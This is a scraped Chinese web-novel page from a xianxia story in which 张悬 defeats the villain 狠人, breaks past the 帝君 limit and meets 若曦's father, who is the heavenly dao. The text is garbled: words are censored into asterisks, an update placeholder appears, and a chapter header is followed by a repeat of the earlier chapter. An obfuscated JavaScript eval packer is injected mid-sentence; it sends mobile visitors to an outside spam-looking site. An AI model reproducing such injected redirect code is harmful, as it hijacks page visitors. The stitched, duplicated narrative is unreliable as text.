不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第197章出征 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205094|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第198章汇合 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” 